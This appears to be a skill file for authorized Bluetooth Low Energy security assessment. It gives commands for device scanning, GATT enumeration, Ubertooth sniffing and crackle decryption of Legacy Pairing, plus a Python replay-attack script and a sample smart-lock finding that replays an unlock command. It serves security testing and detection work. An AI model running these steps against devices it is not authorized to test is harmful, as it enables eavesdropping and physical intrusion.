Detecting Bluetooth Low Energy Attacks
Disclaimer
This skill is intended for authorized security testing, penetration testing engagements, CTF competitions, and educational purposes only. Sniffing, intercepting, or manipulating Bluetooth communications without authorization may violate federal wiretapping laws and local regulations. Always obtain explicit written permission before conducting any wireless security assessment.
When to Use
Use this skill when:
- Performing authorized BLE security assessments of IoT devices, medical devices, or smart locks
- Monitoring a wireless environment for BLE-based replay attacks, spoofing, or unauthorized enumeration
- Analyzing BLE packet captures to detect Man-in-the-Middle attacks or pairing exploitation
- Enumerating GATT services and characteristics to identify insecure read/write permissions on BLE peripherals
- Assessing BLE encryption strength and testing for crackable pairing exchanges
- Building BLE intrusion detection capabilities for wireless security monitoring
Do not use for intercepting BLE communications without explicit authorization. Do not deploy BLE scanning tools in environments where wireless monitoring is prohibited.
Prerequisites
- Ubertooth One hardware for passive BLE sniffing, or Nordic nRF52840 USB Dongle with nRF Sniffer firmware
- Python 3.10+ with pip
- bleak library:
pip install bleak (cross-platform BLE GATT client)
- Wireshark with BLE dissector plugins for packet analysis
- crackle tool for BLE encryption analysis: built from source at github.com/mikeryan/crackle
- ubertooth-btle CLI tools:
apt install ubertooth (Linux) or build from source
- Bluetooth 4.0+ adapter on the host system for bleak-based scanning
- Linux recommended for full Ubertooth/nRF sniffer support
Workflow
Step 1: BLE Environment Discovery and Device Scanning
Scan the environment to identify BLE devices and their advertising data:
python -c "
import asyncio
from bleak import BleakScanner
async def scan():
devices = await BleakScanner.discover(timeout=10.0)
for d in devices:
print(f'{d.address} | RSSI: {d.rssi} | Name: {d.name or \"Unknown\"}')
for uuid in d.metadata.get('uuids', []):
print(f' Service: {uuid}')
asyncio.run(scan())
"
ubertooth-btle -p -r capture.pcapng
ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -r connection.pcapng
wireshark -i nRF_Sniffer -k
Step 2: GATT Service and Characteristic Enumeration
Connect to target BLE peripherals and enumerate their GATT profile:
python -c "
import asyncio
from bleak import BleakClient
async def enum_gatt(address):
async with BleakClient(address) as client:
print(f'Connected: {client.is_connected}')
for service in client.services:
print(f'Service: {service.uuid} - {service.description}')
for char in service.characteristics:
props = ','.join(char.properties)
print(f' Char: {char.uuid} | Props: {props}')
for desc in char.descriptors:
val = await client.read_gatt_descriptor(desc.handle)
print(f' Desc: {desc.uuid} = {val}')
asyncio.run(enum_gatt('AA:BB:CC:DD:EE:FF'))
"
Security-relevant findings during GATT enumeration:
- Characteristics with
write-without-response or write without authentication
- Readable characteristics exposing device configuration, credentials, or firmware versions
- Missing Client Characteristic Configuration Descriptor (CCCD) protection on notification characteristics
Step 3: BLE Packet Capture and Analysis
Capture BLE traffic for offline analysis:
ubertooth-btle -f -r capture.pcapng
ubertooth-btle -f -c capture_ppi.pcap
wireshark capture.pcapng
tshark -r capture.pcapng -Y "btle.control_opcode == 0x01" -T fields \
-e btle.master_bd_addr -e btle.slave_bd_addr
Step 4: BLE Encryption Analysis with Crackle
Analyze captured pairing exchanges to test encryption strength:
crackle -i capture_ppi.pcap -o decrypted.pcap
crackle -i capture_ppi.pcap -o decrypted.pcap -l 000000
wireshark decrypted.pcap
BLE Legacy Pairing with Just Works mode uses a TK of all zeros, making it trivially
crackable. Passkey entry uses a 6-digit PIN (000000-999999) that can be brute-forced
in under a second. Only BLE Secure Connections (LE Secure Connections with ECDH)
provides adequate protection against passive eavesdropping.
Step 5: Replay Attack Detection and Testing
Monitor for and test BLE replay attack susceptibility:
python -c "
import asyncio
from bleak import BleakClient
TARGET = 'AA:BB:CC:DD:EE:FF'
CHAR_UUID = '0000fff1-0000-1000-8000-00805f9b34fb'
async def replay_test():
async with BleakClient(TARGET) as client:
# Step 1: Read current state
val = await client.read_gatt_char(CHAR_UUID)
print(f'Current value: {val.hex()}')
# Step 2: Write a command (captured from previous session)
captured_command = bytes.fromhex('0102030405')
await client.write_gatt_char(CHAR_UUID, captured_command)
print('Replayed captured command')
# Step 3: Verify if command was accepted
new_val = await client.read_gatt_char(CHAR_UUID)
print(f'New value: {new_val.hex()}')
if new_val != val:
print('VULNERABLE: Device accepted replayed command')
asyncio.run(replay_test())
"
Indicators of replay vulnerability:
- Device accepts previously captured write commands without freshness validation
- No sequence number, timestamp, or challenge-response mechanism in the protocol
- Device state changes in response to replayed commands
Step 6: Man-in-the-Middle Detection
Detect BLE MITM attacks by monitoring for anomalous behavior:
tshark -r capture.pcapng -Y "btle.control_opcode == 0x00" -T fields \
-e btle.control.interval.min -e btle.control.interval.max
tshark -r capture.pcapng -Y "btl2cap.cid == 0x0006" -T fields \
-e btsmp.opcode -e btsmp.io_capability -e btsmp.auth_req
Step 7: Continuous BLE Security Monitoring
Deploy ongoing BLE monitoring for threat detection:
python agent.py --mode monitor --duration 3600 --output ble_alerts.json
ubertooth-btle -p -r - | python agent.py --mode analyze --pcap-stdin
python agent.py --mode monitor --alert-on replay,spoofing,weak-pairing
Key Concepts
| Term | Definition |
|---|
| BLE (Bluetooth Low Energy) | Low-power wireless protocol (Bluetooth 4.0+) optimized for IoT devices, operating on 2.4 GHz with 40 channels (3 advertising, 37 data) |
| GATT (Generic Attribute Profile) | BLE data model organizing device capabilities into services, characteristics, and descriptors; the primary interface for reading/writing BLE device data |
| Ubertooth One | Open-source 2.4 GHz wireless development platform capable of passive BLE and Bluetooth Classic sniffing across all BLE channels |
| nRF Sniffer | Nordic Semiconductor firmware for nRF52840 USB dongle that enables BLE packet capture with Wireshark integration via extcap |
| Replay Attack | Attack where previously captured BLE commands are retransmitted to a device to trigger unauthorized actions without knowledge of encryption keys |
| Just Works Pairing | BLE Legacy Pairing method using TK=0 with no user confirmation, providing zero protection against passive eavesdropping and MITM attacks |
| LE Secure Connections | BLE 4.2+ pairing mode using ECDH key exchange (P-256 curve) that provides protection against passive eavesdropping; recommended over Legacy Pairing |
| Crackle | Open-source tool that exploits weaknesses in BLE Legacy Pairing to recover the Long Term Key (LTK) and decrypt captured BLE traffic |
| GATTacker | BLE MITM framework that clones a peripheral's GATT profile and advertising data, then relays traffic between the real device and the victim central |
Tools & Systems
- Ubertooth One + ubertooth-btle: Hardware sniffer and CLI tool for passive BLE packet capture in pcapng/pcap format
- nRF52840 USB Dongle + nRF Sniffer: Nordic Semiconductor BLE sniffer with native Wireshark extcap integration
- bleak: Cross-platform Python asyncio BLE GATT client library for device scanning, connection, and characteristic read/write
- crackle: BLE Legacy Pairing encryption cracker that recovers LTK from captured pairing exchanges
- Wireshark: Network protocol analyzer with BLE/BTLE dissectors for packet-level inspection of captured traffic
- GATTacker / BTLEjuice: BLE Man-in-the-Middle frameworks for intercepting and modifying BLE traffic between central and peripheral
- tshark: Command-line Wireshark for scripted BLE packet extraction and field analysis
Common Pitfalls
- Ubertooth channel hopping limitations: Ubertooth follows one connection at a time. If multiple BLE connections are active, you must target a specific device address with
-t to follow its data channels.
- BLE 5.0 extended advertising: Devices using BLE 5.0 extended advertising on secondary channels may not be captured by older Ubertooth firmware. Update to the latest firmware.
- bleak platform differences: BLE scanning behavior varies across OS backends. On Linux, scanning requires root or appropriate capabilities. On macOS, device addresses are randomized UUIDs.
- crackle requires Legacy Pairing: crackle only works against BLE Legacy Pairing (Bluetooth 4.0/4.1). LE Secure Connections (4.2+) use ECDH and cannot be cracked with this approach.
- BLE address randomization: Many modern BLE devices use random resolvable private addresses (RPA) that rotate periodically, making device tracking and connection following more difficult.
- Capture format matters: Use PCAP with PPI headers (
-c flag) for crackle compatibility. PcapNG (-r flag) is recommended for Wireshark analysis but not supported by crackle.
Output Format
## Finding: BLE Smart Lock Accepts Replayed Unlock Commands
**ID**: BLE-001
**Severity**: Critical (CVSS 9.3)
**Device**: SmartLock-Pro (AA:BB:CC:DD:EE:FF)
**Attack Type**: Replay Attack
**Description**:
The BLE smart lock accepts previously captured GATT write commands
on characteristic 0000fff1-0000-1000-8000-00805f9b34fb without
any freshness validation. An attacker who captures a single unlock
command can replay it indefinitely to unlock the device.
**Proof of Concept**:
1. Capture unlock command: ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -r capture.pcap
2. Extract write payload from characteristic fff1: 01 42 A3 7F 00
3. Replay via bleak: await client.write_gatt_char(CHAR_UUID, bytes.fromhex('0142a37f00'))
4. Lock disengages without re-authentication
**Impact**:
Any attacker within BLE range (~100m with directional antenna) who
captures a single unlock event can replay it to gain physical access
to the protected area indefinitely.
**Remediation**:
Implement challenge-response authentication with per-session nonces.
Each command should include a server-generated challenge that expires
after use. Use LE Secure Connections for pairing to prevent passive
capture of the pairing exchange.
